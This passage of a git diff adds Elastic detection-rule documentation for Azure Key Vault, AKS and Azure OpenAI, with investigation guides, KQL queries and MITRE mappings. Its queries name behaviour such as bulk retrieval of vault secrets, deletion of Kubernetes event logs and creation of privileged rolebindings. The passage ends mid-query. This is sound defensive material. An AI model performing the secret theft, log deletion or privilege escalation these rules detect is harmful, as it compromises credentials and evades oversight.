<>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/key-vault/general/basic-concepts +* https://docs.microsoft.com/en-us/azure/key-vault/general/secure-your-key-vault +* https://learn.microsoft.com/en-us/azure/key-vault/general/security-features + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Activity Logs +* Tactic: Impact +* Use Case: Configuration Audit +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Azure +* Service: Azure Key Vault + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Key Vault Modified* + + +Azure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects modifications to Key Vaults, which may indicate potential security incidents or misconfigurations. + + +*Possible investigation steps* + +- Review the `azure.activitylogs.operation_name` field to identify the specific operation performed on the Key Vault. Common operations include `Microsoft.KeyVault/vaults/write` for modifications and `Microsoft.KeyVault/vaults/delete` for deletions. +- Check the `event.outcome` field to confirm the success of the operation. A successful outcome indicates that the modification or deletion was completed. +- Investigate the `azure.activitylogs.identity.principal_id` or `azure.activitylogs.identity.principal_name` fields to determine the user or service principal that performed the operation. This can help identify whether the action was authorized or potentially malicious. +- Analyze the `azure.activitylogs.resource_id` field to identify the specific Key Vault that was modified. This can help assess the impact of the change and whether it affects critical resources or applications. +- Cross-reference the time of the modification with other security events or alerts in the environment to identify any patterns or related activities that may indicate a coordinated attack or misconfiguration. +- Consult with relevant stakeholders or system owners to verify if the modification was planned or expected, and gather additional context if necessary. + + +*False positive analysis* + +- Routine maintenance activities by administrators can trigger alerts when they modify or delete Key Vaults. To manage this, create exceptions for known maintenance windows or specific administrator accounts. +- Automated scripts or tools used for Key Vault management might perform frequent updates or deletions, leading to false positives. Identify these scripts and exclude their operations from triggering alerts by using specific identifiers or tags. +- Changes made by authorized third-party services or integrations that manage Key Vault configurations can also result in false positives. Review and whitelist these services to prevent unnecessary alerts. +- Regular updates or deployments in a development or testing environment may cause alerts. Consider excluding these environments from monitoring or adjusting the rule to focus on production environments only. +- Temporary changes for troubleshooting or testing purposes might be flagged. Document these activities and use temporary exceptions to avoid false positives during these periods. + + +*Response and remediation* + +- Immediately isolate the affected Key Vault to prevent further unauthorized access or changes. +- Review the Azure activity logs to identify the specific operations performed on the Key Vault and their outcomes. +- Collaborate with security teams to assess the impact of the modifications and determine if any sensitive data was compromised. +- If unauthorized changes are confirmed, initiate incident response procedures, including notifying affected parties and conducting a thorough investigation. +- Implement additional monitoring and alerting for the affected Key Vault to detect any further suspicious activity. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.activitylogs" + and azure.activitylogs.operation_name: MICROSOFT.KEYVAULT/VAULTS/* + and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-key-vault-unusual-secret-key-usage.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-key-vault-unusual-secret-key-usage.asciidoc new file mode 100644 index 0000000000..a13492cecc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-key-vault-unusual-secret-key-usage.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-azure-key-vault-unusual-secret-key-usage]] +=== Azure Key Vault Unusual Secret Key Usage + +Identifies secrets, keys, or certificates retrieval operations from Azure Key Vault by a user principal that has not been seen previously doing so in a certain amount of days. Azure Key Vault is a cloud service for securely storing and accessing secrets, keys, and certificates. Unauthorized or excessive retrievals may indicate potential abuse or unauthorized access attempts. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.platformlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.inversecos.com/2022/05/detection-and-compromise-azure-key.html + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Azure Key Vault +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Azure +* Service: Azure Key Vault + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Key Vault Unusual Secret Key Usage* + + +Azure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects excessive secret or key retrieval operations from Azure Key Vault, which may indicate potential abuse or unauthorized access attempts. + + +*Possible investigation steps* + +- Review the `azure.platformlogs.identity.claim.upn` field to identify the user principal making the retrieval requests. This can help determine if the activity is legitimate or suspicious. +- Check the `azure.platformlogs.identity.claim.appid` or `azure.platformlogs.identity.claim.appid_display_name` to identify the application or service making the requests. If the application is not recognized or authorized, it may indicate a potential security incident. It is plausible that the application is a FOCI compliant application, which are commonly abused by adversaries to evade security controls or conditional access policies. +- Analyze the `azure.platformlogs.resource.name` field to determine which Key Vault is being accessed. This can help assess the impact of the retrieval operations and whether they target sensitive resources. +- Review the `event.action` field to confirm the specific actions being performed, such as `KeyGet`, `SecretGet`, or `CertificateGet`. These actions indicate retrieval of keys, secrets, or certificates from the Key Vault. +- Check the `source.ip` or `geo.*` fields to identify the source of the retrieval requests. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior. +- Use the `time_window` field to analyze the frequency of retrieval operations. If multiple retrievals occur within a short time frame (e.g., within a few minutes), it may indicate excessive or suspicious activity. +- Correlate the retrieval operations with other security events or alerts in the environment to identify any patterns or related incidents. +- Triage the user with Entra ID sign-in logs to gather more context about their authentication behavior and any potential anomalies. + + +*False positive analysis* + +- Routine administrative tasks or automated scripts may trigger excessive retrievals, especially in environments where Key Vaults are heavily utilized for application configurations or secrets management. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Legitimate applications or services may perform frequent retrievals of keys or secrets for operational purposes, such as configuration updates or secret rotation. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Security teams may perform periodic audits or assessments that involve retrieving keys or secrets from Key Vaults. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications. +- Some applications may require frequent access to keys or secrets for normal operation, leading to high retrieval counts. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. + + +*Response and remediation* + +- Investigate the user principal making the excessive retrieval requests to determine if they are authorized to access the Key Vault and its contents. If the user is not authorized, take appropriate actions to block their access and prevent further unauthorized retrievals. +- Review the application or service making the requests to ensure it is legitimate and authorized to access the Key Vault. If the application is unauthorized or suspicious, consider blocking it and revoking its permissions to access the Key Vault. +- Assess the impact of the excessive retrieval operations on the Key Vault and its contents. Determine if any sensitive data was accessed or compromised during the retrievals. +- Implement additional monitoring and alerting for the Key Vault to detect any further suspicious activity or unauthorized access attempts. +- Consider implementing stricter access controls or policies for Key Vaults to limit excessive retrievals and ensure that only authorized users and applications can access sensitive keys and secrets. +- Educate users and administrators about the risks associated with excessive retrievals from Key Vaults and encourage them to follow best practices for managing keys and secrets in Azure environments. + + +==== Setup + + + +*Required Azure Key Vault Diagnostic Logs* + + +To ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Key Vault: +- AuditEvent: This log captures all read and write operations performed on the Key Vault, including secret, key, and certificate retrievals. These logs should be streamed to the Event Hub used for the Azure integration configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "azure.platformlogs" and +event.outcome: "success" and +event.action : ( + "VaultGet" or + "KeyGet" or + "KeyList" or + "KeyListVersions" or + "KeyGetDeleted" or + "KeyListDeleted" or + "SecretGet" or + "SecretList" or + "SecretListVersions" or + "SecretGetDeleted" or + "SecretListDeleted" or + "CertificateGet" or + "CertificateList" or + "CertificateListVersions" or + "CertificateGetDeleted" or + "CertificateListDeleted" or + "CertificatePolicyGet" or + "CertificateContactsGet" or + "CertificateIssuerGet" or + "CertificateIssuersList" +) and azure.platformlogs.identity.claim.upn: * and azure.platformlogs.properties.id: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc new file mode 100644 index 0000000000..caed9c720e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-events-deleted]] +=== Azure Kubernetes Services (AKS) Kubernetes Events Deleted + +Identifies when events are deleted in Azure Kubernetes. Kubernetes events are objects that log any state changes. Example events are a container creation, an image pull, or a pod scheduling on a node. An adversary may delete events in Azure Kubernetes in an attempt to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Data Source: Azure Activity Logs +* Domain: Containers + +*Version*: 110 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Kubernetes Services (AKS) Kubernetes Events Deleted* + + +Azure Kubernetes Service (AKS) manages containerized applications using Kubernetes, which logs events like state changes. These logs are crucial for monitoring and troubleshooting. Adversaries may delete these logs to hide their tracks, impairing defenses. The detection rule identifies such deletions by monitoring specific Azure activity logs, flagging successful deletion operations to alert security teams of potential evasion tactics. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking for the operation name "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE" and ensure the event outcome is marked as "Success". +- Identify the user or service principal responsible for the deletion by examining the associated identity information in the activity logs. +- Investigate the timeline of events leading up to and following the deletion to identify any suspicious activities or patterns, such as unauthorized access attempts or configuration changes. +- Check for any other related alerts or anomalies in the Azure environment that might indicate a broader attack or compromise. +- Assess the impact of the deleted events by determining which Kubernetes resources or operations were affected and if any critical logs were lost. +- Review access controls and permissions for the user or service principal involved to ensure they align with the principle of least privilege and adjust if necessary. +- Consider implementing additional monitoring or alerting for similar deletion activities to enhance detection and response capabilities. + + +*False positive analysis* + + +- Routine maintenance activities by authorized personnel may trigger deletion events. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for log rotation or cleanup might delete events as part of their normal operation. Identify these scripts and exclude their activity from triggering alerts by whitelisting their associated service accounts or IP addresses. +- Misconfigured applications or services that inadvertently delete logs can cause false positives. Review application configurations and adjust them to prevent unnecessary deletions, and exclude these applications from alerts if they are verified as non-threatening. +- Test environments often generate log deletions during setup or teardown processes. Exclude these environments from monitoring or create specific rules that differentiate between production and test environments to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Kubernetes cluster to prevent further unauthorized access or tampering with logs. +- Conduct a thorough review of recent activity logs and access permissions for the affected cluster to identify any unauthorized access or privilege escalation. +- Restore deleted Kubernetes events from backups or snapshots if available, to ensure continuity in monitoring and auditing. +- Implement stricter access controls and audit logging for Kubernetes event deletion operations to prevent unauthorized deletions in the future. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of broader compromise or if the deletion is part of a larger attack campaign. +- Review and update incident response plans to incorporate lessons learned from this event, ensuring quicker detection and response to similar threats in the future. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE" and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-pods-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-pods-deleted.asciidoc new file mode 100644 index 0000000000..d2d87311e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-pods-deleted.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-pods-deleted]] +=== Azure Kubernetes Services (AKS) Kubernetes Pods Deleted + +Identifies the deletion of Azure Kubernetes Pods. Adversaries may delete a Kubernetes pod to disrupt the normal behavior of the environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Asset Visibility +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Data Source: Azure Activity Logs +* Domain: Containers + +*Version*: 109 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Kubernetes Services (AKS) Kubernetes Pods Deleted* + + +Azure Kubernetes Service (AKS) enables the deployment, management, and scaling of containerized applications using Kubernetes. Pods, the smallest deployable units in Kubernetes, can be targeted by adversaries to disrupt services or evade detection. Malicious actors might delete pods to cause downtime or hide their activities. The detection rule monitors Azure activity logs for successful pod deletion operations, alerting security teams to potential unauthorized actions that could impact the environment's stability and security. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the details of the pod deletion event, focusing on the operation name "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/PODS/DELETE" and ensuring the event outcome is marked as "Success". +- Identify the user or service principal responsible for the deletion by examining the associated identity information in the activity logs. +- Check the timeline of events leading up to the pod deletion to identify any unusual or unauthorized access patterns or activities. +- Investigate the specific Kubernetes cluster and namespace where the pod deletion occurred to assess the potential impact on services and applications. +- Cross-reference the deleted pod's details with recent changes or deployments in the environment to determine if the deletion was part of a legitimate maintenance or deployment activity. +- Consult with the relevant application or infrastructure teams to verify if the pod deletion was authorized and necessary, or if it indicates a potential security incident. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel can lead to legitimate pod deletions. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scaling operations might delete pods as part of normal scaling activities. Identify and exclude these operations by correlating with scaling events or using tags that indicate automated processes. +- Development and testing environments often experience frequent pod deletions as part of normal operations. Consider excluding these environments from alerts by using environment-specific identifiers or tags. +- Scheduled job completions may result in pod deletions once tasks are finished. Implement rules to recognize and exclude these scheduled operations by matching them with known job schedules or identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes cluster to prevent further unauthorized actions. This can be done by restricting network access or applying stricter security group rules temporarily. +- Review the Azure activity logs to identify the source of the deletion request, including the user or service principal involved, and verify if the action was authorized. +- Recreate the deleted pods using the latest known good configuration to restore services and minimize downtime. +- Conduct a thorough security assessment of the affected cluster to identify any additional unauthorized changes or indicators of compromise. +- Implement stricter access controls and role-based access management to ensure only authorized personnel can delete pods in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional clusters or resources are affected. +- Enhance monitoring and alerting for similar activities by integrating with a Security Information and Event Management (SIEM) system to detect and respond to unauthorized pod deletions promptly. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/PODS/DELETE" and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Technique: +** Name: System Shutdown/Reboot +** ID: T1529 +** Reference URL: https://attack.mitre.org/techniques/T1529/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc new file mode 100644 index 0000000000..e7d1dd8fab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-azure-kubernetes-services-aks-kubernetes-rolebindings-created]] +=== Azure Kubernetes Services (AKS) Kubernetes Rolebindings Created + +Identifies the creation of role binding or cluster role bindings. You can assign these roles to Kubernetes subjects (users, groups, or service accounts) with role bindings and cluster role bindings. An adversary who has permissions to create bindings and cluster-bindings in the cluster can create a binding to the cluster-admin ClusterRole or to other high privileges roles. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes +* https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Platform: Kubernetes +* Data Source: Azure Activity Logs +* Domain: Containers + +*Version*: 110 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Kubernetes Services (AKS) Kubernetes Rolebindings Created* + +Azure Kubernetes role bindings are crucial for managing access control within Kubernetes clusters, allowing specific permissions to be assigned to users, groups, or service accounts. Adversaries with the ability to create these bindings can escalate privileges by assigning themselves or others high-level roles, such as cluster-admin. The detection rule monitors Azure activity logs for successful creation events of role or cluster role bindings, signaling potential unauthorized privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service account associated with the role binding creation event. Focus on the `event.dataset` and `azure.activitylogs.operation_name` fields to confirm the specific operation. +- Check the `event.outcome` field to ensure the operation was successful and not a failed attempt, which might indicate a misconfiguration or testing. +- Investigate the permissions and roles assigned to the identified user or service account to determine if they have legitimate reasons to create role bindings or cluster role bindings. +- Examine the context of the role binding creation, such as the time of the event and any related activities, to identify any unusual patterns or correlations with other suspicious activities. +- Verify if the role binding grants elevated privileges, such as cluster-admin, and assess the potential impact on the cluster's security posture. +- Cross-reference the event with any recent changes in the cluster's configuration or access policies to understand if the role binding creation aligns with authorized administrative actions. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate users create role bindings for operational purposes. To manage this, identify and whitelist specific user accounts or service accounts that regularly perform these tasks. +- Automated deployment tools or scripts that configure Kubernetes clusters might create role bindings as part of their normal operation. Exclude these tools by filtering out known service accounts or IP addresses associated with these automated processes. +- Scheduled maintenance or updates to the Kubernetes environment can result in multiple role binding creation events. Establish a maintenance window and suppress alerts during this period to avoid unnecessary noise. +- Development and testing environments often have frequent role binding changes. Consider creating separate monitoring rules with adjusted thresholds or risk scores for these environments to reduce false positives. +- Collaboration with the DevOps team can help identify expected role binding changes, allowing for preemptive exclusion of these events from triggering alerts. + + +*Response and remediation* + + +- Immediately revoke any newly created role bindings or cluster role bindings that are unauthorized or suspicious to prevent further privilege escalation. +- Isolate the affected Kubernetes cluster from the network to prevent potential lateral movement or further exploitation by the adversary. +- Conduct a thorough review of recent activity logs to identify any unauthorized access or changes made by the adversary, focusing on the time frame around the alert. +- Reset credentials and access tokens for any compromised accounts or service accounts involved in the unauthorized role binding creation. +- Escalate the incident to the security operations team for further investigation and to determine if additional clusters or resources are affected. +- Implement additional monitoring and alerting for any future role binding or cluster role binding creation events to ensure rapid detection and response. +- Review and tighten role-based access control (RBAC) policies to ensure that only necessary permissions are granted to users, groups, and service accounts, minimizing the risk of privilege escalation. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name: + ("MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/ROLEBINDINGS/WRITE" or + "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/CLUSTERROLEBINDINGS/WRITE") and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-openai-insecure-output-handling.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-openai-insecure-output-handling.asciidoc new file mode 100644 index 0000000000..348a077d64 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-openai-insecure-output-handling.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-azure-openai-insecure-output-handling]] +=== Azure OpenAI Insecure Output Handling + +Detects when Azure OpenAI requests result in zero response length, potentially indicating issues in output handling that might lead to security exploits such as data leaks or code execution. This can occur in cases where the API fails to handle outputs correctly under certain input conditions. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://genai.owasp.org/llmrisk/llm02-insecure-output-handling + +*Tags*: + +* Domain: LLM +* Data Source: Azure OpenAI +* Data Source: Azure Event Hubs +* Use Case: Insecure Output Handling +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: ES|QL +* Platform: Azure +* Domain: Cloud +* Domain: GenAI +* Service: Azure OpenAI +* Service: Azure Event Hubs + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure OpenAI Insecure Output Handling* + + +Azure OpenAI integrates AI capabilities into applications, enabling natural language processing tasks. However, improper output handling can lead to vulnerabilities, such as data leaks or unauthorized code execution. Adversaries might exploit these by crafting inputs that cause the API to mishandle responses. The detection rule identifies anomalies by flagging instances where API responses are unexpectedly empty, suggesting potential misuse or misconfiguration, especially when such events occur frequently. + + +*Possible investigation steps* + + +- Review the logs for the specific Azure resource name flagged in the alert to understand the context and frequency of zero-length responses. +- Examine the request lengths associated with the zero-length responses to identify any patterns or anomalies in the input data that might be causing the issue. +- Check the cloud account ID associated with the alert to determine if there are any known issues or recent changes in configuration that could affect output handling. +- Investigate the operation name "ChatCompletions_Create" to ensure that the API is being used as intended and that there are no unauthorized or unexpected uses. +- Assess the overall environment for any recent updates or changes in the Azure OpenAI configuration that might have impacted output handling. + + +*False positive analysis* + + +- Frequent legitimate requests with zero response length can occur during testing or development phases. To manage this, exclude known test environments or accounts from the detection rule by adding exceptions for specific cloud.account.id or azure.resource.name values. +- Some applications may intentionally send requests that do not require a response, resulting in zero response length. Identify these applications and adjust the rule to exclude their specific azure.resource.name. +- Network issues or temporary service disruptions can lead to zero-length responses. Monitor for patterns of such occurrences and consider excluding specific time frames or network segments if they are known to cause false positives. +- Automated scripts or bots that interact with the API might generate zero-length responses as part of their normal operation. Identify these scripts and exclude their associated identifiers from the rule to prevent false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Azure OpenAI resource to prevent further exploitation. This can be done by temporarily disabling the API or restricting access to it. +- Review and validate the input handling mechanisms of the affected API to ensure they are robust against malformed or malicious inputs that could lead to insecure output handling. +- Conduct a thorough audit of recent API requests and responses to identify any unauthorized access or data leaks. Pay special attention to requests with zero response length. +- Implement additional logging and monitoring for the affected API to capture detailed information about requests and responses, which can help in identifying patterns or repeated attempts of exploitation. +- Notify the security team and relevant stakeholders about the incident, providing them with detailed findings and any potential impact on data security. +- If unauthorized access or data leakage is confirmed, follow the organization's incident response plan to notify affected parties and comply with any regulatory requirements. +- Enhance detection capabilities by integrating anomaly detection tools that can identify unusual patterns in API usage, such as frequent zero-length responses, to prevent similar threats in the future. + + +==== Setup + + + +*Setup* + + +For more information on streaming events, see the Azure OpenAI documentation: + +https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure_openai.logs-* +| where + azure.open_ai.properties.response_length == 0 and + azure.open_ai.result_signature == "200" and + azure.open_ai.operation_name == 